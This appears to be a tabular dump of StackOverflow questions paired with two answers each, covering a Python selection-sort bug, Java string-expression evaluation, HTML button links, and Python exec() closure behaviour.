qid
int64
46k
74.7M
question
stringlengths
54
37.8k
date
stringlengths
10
10
metadata
listlengths
3
3
response_j
stringlengths
17
26k
response_k
stringlengths
26
26k
68,992,767
I'm trying to implement selection sort in python using a list. But the implementation part is correct and is as per my algorithm but it is not resulting in correct output. Adding my code: ``` my_list = [64, 25, 12, 11, 32] def selection_sort(element_list): for element in range(len(element_list)): mindex = element for compare_index in range(element+1, len(element_list)): if element_list[mindex] > element_list[compare_index]: mindex = compare_index element_list[compare_index], element_list[mindex] = element_list[mindex], element_list[compare_index] for element in range(len(element_list)): print(element_list[element]) selection_sort(my_list) ``` desired output: ``` 11 12 25 32 64 ``` May I know where I'm making mistake?
2021/08/31
[ "https://Stackoverflow.com/questions/68992767", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12116796/" ]
Your algorithm is almost correct but `element_list[compare_index], element_list[mindex] = element_list[mindex], element_list[compare_index]` in this line you made the mistake. It shouldn't be `compare_index`, it should be `element`. Please check the correct algorithm below ``` my_list = [64, 25, 12, 11, 32] def selection_sort(element_list): for element in range(len(element_list)): mindex = element for compare_index in range(element+1, len(element_list)): if element_list[mindex] > element_list[compare_index]: mindex = compare_index element_list[element], element_list[mindex] = element_list[mindex], element_list[element] for element in range(len(element_list)): print(element_list[element]) selection_sort(my_list) ```
I think the problem lies in the line `element_list[compare_index], element_list[mindex] = element_list[mindex], element_list[compare_index]` Here I believe you want to exchange the position of the bigger and the smaller number in the array, but the problem is that you are exchanging the positions of the elements with indexes `compare_index` and `mindex`. And in the very previous line you are doing `mindex = compare_index` so basically you are exchanging one element with itself. Rather, you must exchange elements with indexes `element` and `mindex`, as `compare_index` is just for temporary use. Make this change in that line: `element_list[element], element_list[mindex] = element_list[mindex], element_list[element]` I hope this solves your problem!
68,992,767
I'm trying to implement selection sort in python using a list. But the implementation part is correct and is as per my algorithm but it is not resulting in correct output. Adding my code: ``` my_list = [64, 25, 12, 11, 32] def selection_sort(element_list): for element in range(len(element_list)): mindex = element for compare_index in range(element+1, len(element_list)): if element_list[mindex] > element_list[compare_index]: mindex = compare_index element_list[compare_index], element_list[mindex] = element_list[mindex], element_list[compare_index] for element in range(len(element_list)): print(element_list[element]) selection_sort(my_list) ``` desired output: ``` 11 12 25 32 64 ``` May I know where I'm making mistake?
2021/08/31
[ "https://Stackoverflow.com/questions/68992767", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12116796/" ]
``` my_list = [64, 25, 12, 11, 32] def selection_sort(element_list): for element in range(len(element_list)): mindex = element for compare_index in range(element+1, len(element_list)): if element_list[mindex] > element_list[compare_index]: mindex = compare_index element_list[element], element_list[mindex] = element_list[mindex],element_list[element] for element in range(len(element_list)): print(element_list[element]) selection_sort(my_list) ``` swapping is a must between `element_list[element]` and `element_list[mindex]`.
I think the problem lies in the line `element_list[compare_index], element_list[mindex] = element_list[mindex], element_list[compare_index]` Here I believe you want to exchange the position of the bigger and the smaller number in the array, but the problem is that you are exchanging the positions of the elements with indexes `compare_index` and `mindex`. And in the very previous line you are doing `mindex = compare_index` so basically you are exchanging one element with itself. Rather, you must exchange elements with indexes `element` and `mindex`, as `compare_index` is just for temporary use. Make this change in that line: `element_list[element], element_list[mindex] = element_list[mindex], element_list[element]` I hope this solves your problem!
8,733,807
> > **Possible Duplicate:** > > [Is there a java equivalent of the python eval function?](https://stackoverflow.com/questions/7143343/is-there-a-java-equivalent-of-the-python-eval-function) > > > There is a String, something like `String str = "if a[0]=1 & a[1]=2"`. How to use this string in a real IF THEN expression? E.g.: ``` for (Integer[] a : myNumbers) { if a[0]=1 & a[1]=2 { // Here I'd like to use the expression from str //... } } ```
2012/01/04
[ "https://Stackoverflow.com/questions/8733807", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1089623/" ]
Java isn't a scripting language that supports dynamic evaluation (although it does support script execution). I would challenge you to check to see if what you're attempting to do is being done in the right way within Java. There are two common ways you can approach this, listed below. However they have a significant performance impact when it comes to the runtime of your application. --- **Script Execution** You could fire up a ScriptEngine, build a ScriptContext, execute the fragment in Javascript or some other language, and then read the result of the evaluation. * <http://java.sun.com/developer/technicalArticles/J2SE/Desktop/scripting/> --- **Parsing** You could build a lexical parser that analyses the string and converts that into the operations you want to perform. In Java I would recommend you look at JFlex. * <http://www.javaworld.com/javaworld/jw-01-1997/jw-01-indepth.html> * <http://en.wikipedia.org/wiki/Lexical_analysis> * <http://jflex.de/>
I don't think you can do what you're asking. Also your java doesn't seem to make much sense. Something like this would make more sense: ``` for (Integer a : myNumbers) { if (a.equals(Integer.valueOf(1))){ //... } } ``` You can however say: ``` if("hello".equals("world")){ //... } ``` And you can build a string: ``` String str = "if "+a[0]+"=1 & "+a[1]+"=2" ``` And you can put that together and say: ``` String str = "if "+a[0]+"=1 & "+a[1]+"=2" if(str.equals("if 1=1 & 2=2")){ //... } ``` But I think you're probably just trying to do something the wrong way
70,461,539
I have created a list of dictionaries of named tuples, keyed with an event type. ``` [{'EVENT_DELETE': DeleteRequestDetails(rid=53421, user='user1', type='EVENT_DELETE', reviewed=1, approved=1, completed=0)},{'EVENT_DELETE': DeleteRequestDetails(rid=13423, user='user2', type='EVENT_DELETE', reviewed=1, approved=1, completed=0)},{'EVENT_DELETE': DeleteRequestDetails(rid=98343, user='user2', type='EVENT_DELETE', reviewed=1, approved=0, completed=0)}] ``` What would be the most pythonic method to return/print results that only contain "approved=1", or "reviewed=1" and "approved=0"?
2021/12/23
[ "https://Stackoverflow.com/questions/70461539", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3713151/" ]
Also you can trigger a link by JavaScript. ``` <button onclick="window.location(this.getAttribute('data-link'))" data-link="/hello">go to hello</button> ```
One way could be to use an anchor tag instead of the button and make it look like a button. HTML: ```html <div class="buttons"> <a class="btn custom-btn position-bottom-right"> Add to cart</a> </div> ``` CSS: ```css .custom-btn { border: medium dashed green; } ``` Alternatively, you could do: ``` <button class="btn custom-btn position-bottom-right" onclick="location.href='yourlink.com';"> Add to Cart </button> ```
70,461,539
I have created a list of dictionaries of named tuples, keyed with an event type. ``` [{'EVENT_DELETE': DeleteRequestDetails(rid=53421, user='user1', type='EVENT_DELETE', reviewed=1, approved=1, completed=0)},{'EVENT_DELETE': DeleteRequestDetails(rid=13423, user='user2', type='EVENT_DELETE', reviewed=1, approved=1, completed=0)},{'EVENT_DELETE': DeleteRequestDetails(rid=98343, user='user2', type='EVENT_DELETE', reviewed=1, approved=0, completed=0)}] ``` What would be the most pythonic method to return/print results that only contain "approved=1", or "reviewed=1" and "approved=0"?
2021/12/23
[ "https://Stackoverflow.com/questions/70461539", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3713151/" ]
Also you can trigger a link by JavaScript. ``` <button onclick="window.location(this.getAttribute('data-link'))" data-link="/hello">go to hello</button> ```
You can use the anchor tag and provide a [Bootstrap](https://en.wikipedia.org/wiki/Bootstrap_%28front-end_framework%29) class for the button, like, ``` <a class="btn btn-success" href="link"> Add to Cart</a> ```
70,461,539
I have created a list of dictionaries of named tuples, keyed with an event type. ``` [{'EVENT_DELETE': DeleteRequestDetails(rid=53421, user='user1', type='EVENT_DELETE', reviewed=1, approved=1, completed=0)},{'EVENT_DELETE': DeleteRequestDetails(rid=13423, user='user2', type='EVENT_DELETE', reviewed=1, approved=1, completed=0)},{'EVENT_DELETE': DeleteRequestDetails(rid=98343, user='user2', type='EVENT_DELETE', reviewed=1, approved=0, completed=0)}] ``` What would be the most pythonic method to return/print results that only contain "approved=1", or "reviewed=1" and "approved=0"?
2021/12/23
[ "https://Stackoverflow.com/questions/70461539", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3713151/" ]
Also you can trigger a link by JavaScript. ``` <button onclick="window.location(this.getAttribute('data-link'))" data-link="/hello">go to hello</button> ```
Try this: ```html <a href='http://my-link.com'> <button class="GFG"> Click Here </button> </a> ```
70,461,539
I have created a list of dictionaries of named tuples, keyed with an event type. ``` [{'EVENT_DELETE': DeleteRequestDetails(rid=53421, user='user1', type='EVENT_DELETE', reviewed=1, approved=1, completed=0)},{'EVENT_DELETE': DeleteRequestDetails(rid=13423, user='user2', type='EVENT_DELETE', reviewed=1, approved=1, completed=0)},{'EVENT_DELETE': DeleteRequestDetails(rid=98343, user='user2', type='EVENT_DELETE', reviewed=1, approved=0, completed=0)}] ``` What would be the most pythonic method to return/print results that only contain "approved=1", or "reviewed=1" and "approved=0"?
2021/12/23
[ "https://Stackoverflow.com/questions/70461539", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3713151/" ]
Also you can trigger a link by JavaScript. ``` <button onclick="window.location(this.getAttribute('data-link'))" data-link="/hello">go to hello</button> ```
If the label "Add to cart" matches the expectations, we'd be talking about a form. A form that causes an element to be added typically uses the [POST](https://en.wikipedia.org/wiki/POST_%28HTTP%29) method: ``` <form class="buttons" method="post" action="/path/to/add/to/cart/script"> <input type="hidden" name="product" value="123"> <span class="sold-out-tag position-top-right">Best Seller</span> <button class="btn custom-btn position-bottom-right"> Add to cart</button> </form> ``` Alternatively, there's [GET](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods) as well: ``` <form class="buttons" method="get" action="/path/to/add/to/cart/script?product=123"> <span class="sold-out-tag position-top-right">Best Seller</span> <button class="btn custom-btn position-bottom-right"> Add to cart</button> </form> ``` Since GET doesn't carry additional payload, you'll get the same effect with a regular anchor: ``` <a href="/path/to/add/to/cart/script?product=123">Add to cart</a> ``` You don't want search engine spiders to populate carts, so you typically leave GET for data fetching.
72,335,222
EDIT2: ------ A minimal demonstration is: ``` code = """\ a=1 def f1(): print(a) print(f1.__closure__) f1() """ def foo(): exec(code) foo() ``` Which gives: ``` None Traceback (most recent call last): File "D:/workfiles/test_eval_rec.py", line 221, in <module> foo() File "D:/workfiles//test_eval_rec.py", line 219, in foo exec(code) File "<string>", line 5, in <module> File "<string>", line 3, in f1 NameError: name 'a' is not defined ``` It can be seen that the `__closure__` attribute of function defined inside code str passed to `exec()` is `None`, making calling the function fails. Why does this happen and how can I define a function successfully? --- I find several questions that may be related. 1. [Closure lost during callback defined in exec()](https://stackoverflow.com/q/28950735/9758790) 2. [Using exec() with recursive functions](https://stackoverflow.com/q/871887/9758790) 3. [Why exec() works differently when invoked inside of function and how to avoid it](https://stackoverflow.com/q/55763182/9758790) 4. [Why are closures broken within exec?](https://stackoverflow.com/q/2749655/9758790) 5. [NameError: name 'self' is not defined IN EXEC/EVAL](https://stackoverflow.com/q/44603993/9758790) These questions are all related to "defining a function insdie exec()". I think the fourth question here is closest to the essence of these problems. The common cause of these problems is that **when defining a function in exec(), the `__closure__` attribute of the function object can not be set correctly and will always be None.** However, many existing answers to this question didn't realize this point. **Why these questions are caused by wrong `__closure__`:** When defining a function, `__closure__` attribute is set to a dict that contains all local symbols (at the place where the keyword `def` is used) that is used inside the newly defined funtion. When calling a function, local symbol tables will be retrived from the `__closure__` attribute. Since the `__closure__` is set to `None`, the local symbol tables can not be retrived as expected, making the function call fail. **These answers work by making None a correct `__closure__` attribute:** Existing solutions to the questions listed above solve these problems by getting the function definition rid of the usage of local symbol, i.e, they make the local symbols used(variable, function definition) global by passing globals() as locals of `exec` or by using keyword `global` explicitly in the code string. **Why existing solution unsatisfying:** These solutions I think is just an escape of the core problem of setting `__closure__` correctly when define a functioni inside `exec()`. And as symbols used in the function definition is made global, these solutions will produce redundant global symbol which I don't want. --- Original Questions: ------------------- ***(You May ignore this session, I have figured something out, and what I currently want to ask is described as the session EDIT2. The original question can be viewed as a sepecial case of the question described in session EDIT2)*** original title of this question is: Wrapping class function to new function with exec() raise NameError that ‘self’ is not defined I want to wrap an existing member function to a new class function. However, exec() function failed with a NameError that ‘self’ is not defined. I did some experiment with the following codes. I called globals() and locals() in the execed string, it seems that the locals() is different in the function definition scope when exec() is executed. **"self" is in the locals() when in exec(), however, in the function definition scope inside the exec(), "self" is not in the locals().** ``` class test_wrapper_function(): def __init__(self): # first wrapper def temp_func(): print("locals() inside the function definition without exec:") print(locals()) return self.func() print("locals() outside the function definition without exec:") print(locals()) self.wrappered_func1 = temp_func # third wrapper using eval define_function_str = '''def temp_func(): print("locals() inside the function definition:") print(locals()) print("globals() inside the function definition:") print(globals()) return self.func() print("locals() outside the function definition:") print(locals()) print("globals() outside the function definition:") print(globals()) self.wrappered_func2 = temp_func''' exec(define_function_str) # call locals() here, it will contains temp_func def func(self): print("hi!") t = test_wrapper_function() print("**********************************************") t.wrappered_func1() t.wrappered_func2() ``` I have read this [link](https://stackoverflow.com/q/37152671/9758790). *In the exec()*, memeber function, attribute of "self" can be accessed without problem, while *in the function difinition in the exec()*, "self" is not available any more. Why does this happen? **Why I want to do this**: I am building a PyQt program. I want to create several similar slots(). These slots can be generated by calling one member function with different arguments. I decided to generate these slots using exec() function of python. I also searched with the keyword "nested name scope in python exec", I found [this question](https://stackoverflow.com/q/44603993/9758790) may be related, but there is no useful answer. To be more specific. I want to define a family of slots like `func_X` (X can be 'a', 'b', 'c'...), each do something like `self.do_something_on(X)`. Here, `do_something` is a member function of my QWidget. So I use a for loop to create these slots function. I used codes like this: ``` class MyWidget(): def __init__(self): self.create_slots_family() def do_something(self, character): # in fact, this function is much more complex. Do some simplification. print(character) def create_slots_i(self, character): # want to define a function like this: # if character is 'C', define self.func_C such that self.func_C() works like self.do_something(C) create_slot_command_str = "self.func_" + character + " = lambda:self.do_something('" + character + "')" print(create_slot_command_str) exec(create_slot_command_str) def create_slots_family(self): for c in ["A", "B", "C", "D"]: self.create_slots_i(c) my_widget = MyWidget() my_widget.func_A() ``` Note that, as far as I know, the Qt slots should not accept any parameter, so I have to wrap `self.do_something(character)` to be a series function `self.func_A`, `self.func_C` and so on for all the possible characters. So the above is what I want to do orignially. EDIT1: ------ ***(You May ignore this session, I have figured something out, and what I currently want to ask is described as the session EDIT2. This simplified version of original question can also be viewed as a sepecial case of the question described in session EDIT2)*** As @Mad Physicist suggested. I provide a simplified version here, deleting some codes used for experiments. ``` class test_wrapper_function(): def __init__(self): define_function_str = '''\ def temp_func(): return self.func() self.wrappered_func2 = temp_func''' exec(define_function_str) def func(self): print("hi!") t = test_wrapper_function() t.wrappered_func2() ``` I expected this to print a "hi". However, I got the following exception: ``` Traceback (most recent call last): File "D:/workfiles/test_eval_class4.py", line 12, in <module> t.wrappered_func2() File "<string>", line 2, in temp_func NameError: name 'self' is not defined ```
2022/05/22
[ "https://Stackoverflow.com/questions/72335222", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9758790/" ]
**Using Exec** You've already covered most of the problems and workarounds with `exec`, but I feel that there is still value in adding a summary. The key issue is that `exec` only knows about `globals` and `locals`, but not about free variables and the non-local namespace. That is why the [docs](https://docs.python.org/3/library/functions.html#exec) say > > If exec gets two separate objects as *globals* and *locals*, the code will be executed as if it were embedded in a class definition. > > > There is no way to make it run as though it were in a method body. However, as you've already noted, you can make `exec` create a closure and use that instead of the internal namespace by adding a method body to your snippet. However, there are still a couple of subtle restrictions there. Your example of what you are trying to do showcases the issues perfectly, so I will use a modified version of that. The goal is to make a method that binds to `self` and has a variable argument in the `exec` string. ``` class Test: def create_slots_i(self, c): create_slot_command_str = f"self.func_{c} = lambda: self.do_something('{c}')" exec(create_slot_command_str) def do_something(self, c): print(f'I did {c}!') ``` There are different ways of getting `exec` to "see" variables: literals, globals, and internal closures. 1. **Literals**. This works robustly, but only for simple types that can be easily instantiated from a string. The usage of `c` above is a perfect example. This will not help you with a complex object like `self`: ``` >>> t = Test() >>> t.create_slots_i('a') >>> t.func_a() ... NameError: name 'self' is not defined ``` This happens exactly because `exec` has no concept of free variables. Since `self` is passed to it via the default `locals()`, it does not bind the reference to a closure. 2. **globals**. You can pass in a name `self` to `exec` via `globals`. There are a couple of ways of doing this, each with its own issues. Remember that `globals` are accessed by a function through its [`__globals__` (look at the table under "Callable types")](https://docs.python.org/3/reference/datamodel.html) attribute. Normally `__globals__` refers to the `__dict__` of the module in which a function is defined. In `exec`, this is the case by default as well, since that's what `globals()` returns. * **Add to `globals`**: You can create a global variable named `self`, which will make your problem go away, sort of: ``` >>> self = t >>> t.func_a() I did a! ``` But of course this is a house of cards that falls apart as soon as you delete, `self`, modify it, or try to run this on multiple instances: ``` >>> del self >>> t.func_a() ... NameError: name 'self' is not defined ``` * **Copy `globals`**. A much more versatile solution, on the surface of it, is to copy `globals()` when you run `exec` in `create_slots_i`: ``` def create_slots_i(self, c): create_slot_command_str = f"self.func_{c} = lambda: self.do_something('{c}')" g = globals().copy() g['self'] = self exec(create_slot_command_str, g) ``` This appears to work normally, and for a very limited set of cases, it actually does: ``` >>> t = Test() >>> t.create_slots_i('a') >>> t.func_a() I did a! ``` But now, your function's `__globals__` attribute is no longer bound to the module you created it in. If it uses any other global values, especially ones that might change, you will not be able to see the changes. For limited functionality, this is OK, but in the general case, it can be a severe handicap. 3. **Internal Closures**. This is the solution you already hit upon, where you create a closure within the `exec` string to let it know that you have a free variable by artificial means. For example: ``` class Test: def create_slots_i(self, c): create_slot_command_str = f"""def make_func(self): def func_{c}(): self.do_something('{c}') return func_{c} self.func_{c} = make_func(self)""" g = globals().copy() g['self'] = self exec(create_slot_command_str, g) def do_something(self, c): print(f'I did {c}!') ``` This approach works completely: ``` >>> t = Test() >>> t.create_slots_i('a') >>> t.func_a() I did a! ``` The only real drawbacks here are security, which is always a problem with `exec`, and the sheer awkwardness of this monstrosity. **A Better Way** Since you are already creating closures, there is really no need to use `exec` at all. In fact, the only thing you are really doing is creating methods so that `self.func_...` will bind the method for you, since you need a function with the signature of your slot and access to `self`. You can write a simple method that will generate functions that you can assign to your slots directly. The advantage of doing it this way is that (a) you avoid calling `exec` entirely, and (b) you don't need to have a bunch of similarly named auto-generated methods polluting your class namespace. The slot generator would look something like this: ``` def create_slots_i(self, c): def slot_func(): self.do_something(c) # This is a real closure now slot_func.__name__ = f'func_{c}' return slot_func ``` Since you will not be referring to these function objects anywhere except your slots, `__name__` is the only way to get the "name" under which they were stored. That is the same thing that `def` does for you under the hood. You can now assign slots directly: ``` some_widget.some_signal.connect(self.create_slots_i('a')) ``` **Note** I originally had a more complex approach in mind for you, since I thought you cared about generating bound methods, instead of just setting `__name__`. In case you have a sufficiently complex scenario where it still applies, here is my original blurb: A quick recap of the [descriptor protocol](https://docs.python.org/3/howto/descriptor.html): when you bind a function with the dot operator, e.g., `t.func_a`, python looks at the class for descriptors with that name. If your class has a data descriptor (like `property`, but not functions), then that descriptor will shadow anything you may have placed in the instance `__dict__`. However, if you have a non-data descriptor (one a `__get__` method but without a `__set__` method, like a function object), then it will only be bound if an instance attribute does not shadow it. Once this decision has been made, actually invoking the descriptor protocol involves calling `type(t).func_a.__get__(t)`. That's how a bound method knows about `self`. Now you can return a bound method from within your generator: ``` def create_slots_i(self, c): def slot_func(self): self.do_something(c) # This is a closure on `c`, but not on `self` until you bind it slot_func.__name__ = f'func_{c}' return slot_func.__get__(self) ```
**Why this phenomena happen:** Actually [the answer](https://stackoverflow.com/a/2749806/9758790) of the [question 4](https://stackoverflow.com/q/2749655/9758790) listed above can answer this question. When call `exec()` on one code string, the code string is first compiled. I suppose that during compiling, the provided `globals` and `locals` is not considered. The symbol in the exec()ed code str is compiled to be in the globals. So the function defined in the code str will be considered using global variables, and thus `__closure__` is set to `None`. Refer to [this answer](https://stackoverflow.com/a/29456463/9758790) for more information about what the func `exec` does. --- **How to deal with this phenomena:** *Imitating the solutions provided in the previous questions*, for the minimal demostration the question, it can also be modified this way to work: ``` a=1 # moving out of the variable 'code' code = """\ def f1(): print(a) print(f1.__closure__) f1() """ def foo(): exec(code) foo() ``` Although the `__closure__` is still `None`, the exception can be avoided because now only the global symbol is needed and `__closure__` should also be None if correctly set. You can read the part *The reason why the solutions work* in the question body for more information. --- *This was originally added in [Revision 4](https://stackoverflow.com/revisions/72335222/4) of the question.*
72,335,222
EDIT2: ------ A minimal demonstration is: ``` code = """\ a=1 def f1(): print(a) print(f1.__closure__) f1() """ def foo(): exec(code) foo() ``` Which gives: ``` None Traceback (most recent call last): File "D:/workfiles/test_eval_rec.py", line 221, in <module> foo() File "D:/workfiles//test_eval_rec.py", line 219, in foo exec(code) File "<string>", line 5, in <module> File "<string>", line 3, in f1 NameError: name 'a' is not defined ``` It can be seen that the `__closure__` attribute of function defined inside code str passed to `exec()` is `None`, making calling the function fails. Why does this happen and how can I define a function successfully? --- I find several questions that may be related. 1. [Closure lost during callback defined in exec()](https://stackoverflow.com/q/28950735/9758790) 2. [Using exec() with recursive functions](https://stackoverflow.com/q/871887/9758790) 3. [Why exec() works differently when invoked inside of function and how to avoid it](https://stackoverflow.com/q/55763182/9758790) 4. [Why are closures broken within exec?](https://stackoverflow.com/q/2749655/9758790) 5. [NameError: name 'self' is not defined IN EXEC/EVAL](https://stackoverflow.com/q/44603993/9758790) These questions are all related to "defining a function insdie exec()". I think the fourth question here is closest to the essence of these problems. The common cause of these problems is that **when defining a function in exec(), the `__closure__` attribute of the function object can not be set correctly and will always be None.** However, many existing answers to this question didn't realize this point. **Why these questions are caused by wrong `__closure__`:** When defining a function, `__closure__` attribute is set to a dict that contains all local symbols (at the place where the keyword `def` is used) that is used inside the newly defined funtion. When calling a function, local symbol tables will be retrived from the `__closure__` attribute. Since the `__closure__` is set to `None`, the local symbol tables can not be retrived as expected, making the function call fail. **These answers work by making None a correct `__closure__` attribute:** Existing solutions to the questions listed above solve these problems by getting the function definition rid of the usage of local symbol, i.e, they make the local symbols used(variable, function definition) global by passing globals() as locals of `exec` or by using keyword `global` explicitly in the code string. **Why existing solution unsatisfying:** These solutions I think is just an escape of the core problem of setting `__closure__` correctly when define a functioni inside `exec()`. And as symbols used in the function definition is made global, these solutions will produce redundant global symbol which I don't want. --- Original Questions: ------------------- ***(You May ignore this session, I have figured something out, and what I currently want to ask is described as the session EDIT2. The original question can be viewed as a sepecial case of the question described in session EDIT2)*** original title of this question is: Wrapping class function to new function with exec() raise NameError that ‘self’ is not defined I want to wrap an existing member function to a new class function. However, exec() function failed with a NameError that ‘self’ is not defined. I did some experiment with the following codes. I called globals() and locals() in the execed string, it seems that the locals() is different in the function definition scope when exec() is executed. **"self" is in the locals() when in exec(), however, in the function definition scope inside the exec(), "self" is not in the locals().** ``` class test_wrapper_function(): def __init__(self): # first wrapper def temp_func(): print("locals() inside the function definition without exec:") print(locals()) return self.func() print("locals() outside the function definition without exec:") print(locals()) self.wrappered_func1 = temp_func # third wrapper using eval define_function_str = '''def temp_func(): print("locals() inside the function definition:") print(locals()) print("globals() inside the function definition:") print(globals()) return self.func() print("locals() outside the function definition:") print(locals()) print("globals() outside the function definition:") print(globals()) self.wrappered_func2 = temp_func''' exec(define_function_str) # call locals() here, it will contains temp_func def func(self): print("hi!") t = test_wrapper_function() print("**********************************************") t.wrappered_func1() t.wrappered_func2() ``` I have read this [link](https://stackoverflow.com/q/37152671/9758790). *In the exec()*, memeber function, attribute of "self" can be accessed without problem, while *in the function difinition in the exec()*, "self" is not available any more. Why does this happen? **Why I want to do this**: I am building a PyQt program. I want to create several similar slots(). These slots can be generated by calling one member function with different arguments. I decided to generate these slots using exec() function of python. I also searched with the keyword "nested name scope in python exec", I found [this question](https://stackoverflow.com/q/44603993/9758790) may be related, but there is no useful answer. To be more specific. I want to define a family of slots like `func_X` (X can be 'a', 'b', 'c'...), each do something like `self.do_something_on(X)`. Here, `do_something` is a member function of my QWidget. So I use a for loop to create these slots function. I used codes like this: ``` class MyWidget(): def __init__(self): self.create_slots_family() def do_something(self, character): # in fact, this function is much more complex. Do some simplification. print(character) def create_slots_i(self, character): # want to define a function like this: # if character is 'C', define self.func_C such that self.func_C() works like self.do_something(C) create_slot_command_str = "self.func_" + character + " = lambda:self.do_something('" + character + "')" print(create_slot_command_str) exec(create_slot_command_str) def create_slots_family(self): for c in ["A", "B", "C", "D"]: self.create_slots_i(c) my_widget = MyWidget() my_widget.func_A() ``` Note that, as far as I know, the Qt slots should not accept any parameter, so I have to wrap `self.do_something(character)` to be a series function `self.func_A`, `self.func_C` and so on for all the possible characters. So the above is what I want to do orignially. EDIT1: ------ ***(You May ignore this session, I have figured something out, and what I currently want to ask is described as the session EDIT2. This simplified version of original question can also be viewed as a sepecial case of the question described in session EDIT2)*** As @Mad Physicist suggested. I provide a simplified version here, deleting some codes used for experiments. ``` class test_wrapper_function(): def __init__(self): define_function_str = '''\ def temp_func(): return self.func() self.wrappered_func2 = temp_func''' exec(define_function_str) def func(self): print("hi!") t = test_wrapper_function() t.wrappered_func2() ``` I expected this to print a "hi". However, I got the following exception: ``` Traceback (most recent call last): File "D:/workfiles/test_eval_class4.py", line 12, in <module> t.wrappered_func2() File "<string>", line 2, in temp_func NameError: name 'self' is not defined ```
2022/05/22
[ "https://Stackoverflow.com/questions/72335222", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9758790/" ]
**Using Exec** You've already covered most of the problems and workarounds with `exec`, but I feel that there is still value in adding a summary. The key issue is that `exec` only knows about `globals` and `locals`, but not about free variables and the non-local namespace. That is why the [docs](https://docs.python.org/3/library/functions.html#exec) say > > If exec gets two separate objects as *globals* and *locals*, the code will be executed as if it were embedded in a class definition. > > > There is no way to make it run as though it were in a method body. However, as you've already noted, you can make `exec` create a closure and use that instead of the internal namespace by adding a method body to your snippet. However, there are still a couple of subtle restrictions there. Your example of what you are trying to do showcases the issues perfectly, so I will use a modified version of that. The goal is to make a method that binds to `self` and has a variable argument in the `exec` string. ``` class Test: def create_slots_i(self, c): create_slot_command_str = f"self.func_{c} = lambda: self.do_something('{c}')" exec(create_slot_command_str) def do_something(self, c): print(f'I did {c}!') ``` There are different ways of getting `exec` to "see" variables: literals, globals, and internal closures. 1. **Literals**. This works robustly, but only for simple types that can be easily instantiated from a string. The usage of `c` above is a perfect example. This will not help you with a complex object like `self`: ``` >>> t = Test() >>> t.create_slots_i('a') >>> t.func_a() ... NameError: name 'self' is not defined ``` This happens exactly because `exec` has no concept of free variables. Since `self` is passed to it via the default `locals()`, it does not bind the reference to a closure. 2. **globals**. You can pass in a name `self` to `exec` via `globals`. There are a couple of ways of doing this, each with its own issues. Remember that `globals` are accessed by a function through its [`__globals__` (look at the table under "Callable types")](https://docs.python.org/3/reference/datamodel.html) attribute. Normally `__globals__` refers to the `__dict__` of the module in which a function is defined. In `exec`, this is the case by default as well, since that's what `globals()` returns. * **Add to `globals`**: You can create a global variable named `self`, which will make your problem go away, sort of: ``` >>> self = t >>> t.func_a() I did a! ``` But of course this is a house of cards that falls apart as soon as you delete, `self`, modify it, or try to run this on multiple instances: ``` >>> del self >>> t.func_a() ... NameError: name 'self' is not defined ``` * **Copy `globals`**. A much more versatile solution, on the surface of it, is to copy `globals()` when you run `exec` in `create_slots_i`: ``` def create_slots_i(self, c): create_slot_command_str = f"self.func_{c} = lambda: self.do_something('{c}')" g = globals().copy() g['self'] = self exec(create_slot_command_str, g) ``` This appears to work normally, and for a very limited set of cases, it actually does: ``` >>> t = Test() >>> t.create_slots_i('a') >>> t.func_a() I did a! ``` But now, your function's `__globals__` attribute is no longer bound to the module you created it in. If it uses any other global values, especially ones that might change, you will not be able to see the changes. For limited functionality, this is OK, but in the general case, it can be a severe handicap. 3. **Internal Closures**. This is the solution you already hit upon, where you create a closure within the `exec` string to let it know that you have a free variable by artificial means. For example: ``` class Test: def create_slots_i(self, c): create_slot_command_str = f"""def make_func(self): def func_{c}(): self.do_something('{c}') return func_{c} self.func_{c} = make_func(self)""" g = globals().copy() g['self'] = self exec(create_slot_command_str, g) def do_something(self, c): print(f'I did {c}!') ``` This approach works completely: ``` >>> t = Test() >>> t.create_slots_i('a') >>> t.func_a() I did a! ``` The only real drawbacks here are security, which is always a problem with `exec`, and the sheer awkwardness of this monstrosity. **A Better Way** Since you are already creating closures, there is really no need to use `exec` at all. In fact, the only thing you are really doing is creating methods so that `self.func_...` will bind the method for you, since you need a function with the signature of your slot and access to `self`. You can write a simple method that will generate functions that you can assign to your slots directly. The advantage of doing it this way is that (a) you avoid calling `exec` entirely, and (b) you don't need to have a bunch of similarly named auto-generated methods polluting your class namespace. The slot generator would look something like this: ``` def create_slots_i(self, c): def slot_func(): self.do_something(c) # This is a real closure now slot_func.__name__ = f'func_{c}' return slot_func ``` Since you will not be referring to these function objects anywhere except your slots, `__name__` is the only way to get the "name" under which they were stored. That is the same thing that `def` does for you under the hood. You can now assign slots directly: ``` some_widget.some_signal.connect(self.create_slots_i('a')) ``` **Note** I originally had a more complex approach in mind for you, since I thought you cared about generating bound methods, instead of just setting `__name__`. In case you have a sufficiently complex scenario where it still applies, here is my original blurb: A quick recap of the [descriptor protocol](https://docs.python.org/3/howto/descriptor.html): when you bind a function with the dot operator, e.g., `t.func_a`, python looks at the class for descriptors with that name. If your class has a data descriptor (like `property`, but not functions), then that descriptor will shadow anything you may have placed in the instance `__dict__`. However, if you have a non-data descriptor (one a `__get__` method but without a `__set__` method, like a function object), then it will only be bound if an instance attribute does not shadow it. Once this decision has been made, actually invoking the descriptor protocol involves calling `type(t).func_a.__get__(t)`. That's how a bound method knows about `self`. Now you can return a bound method from within your generator: ``` def create_slots_i(self, c): def slot_func(self): self.do_something(c) # This is a closure on `c`, but not on `self` until you bind it slot_func.__name__ = f'func_{c}' return slot_func.__get__(self) ```
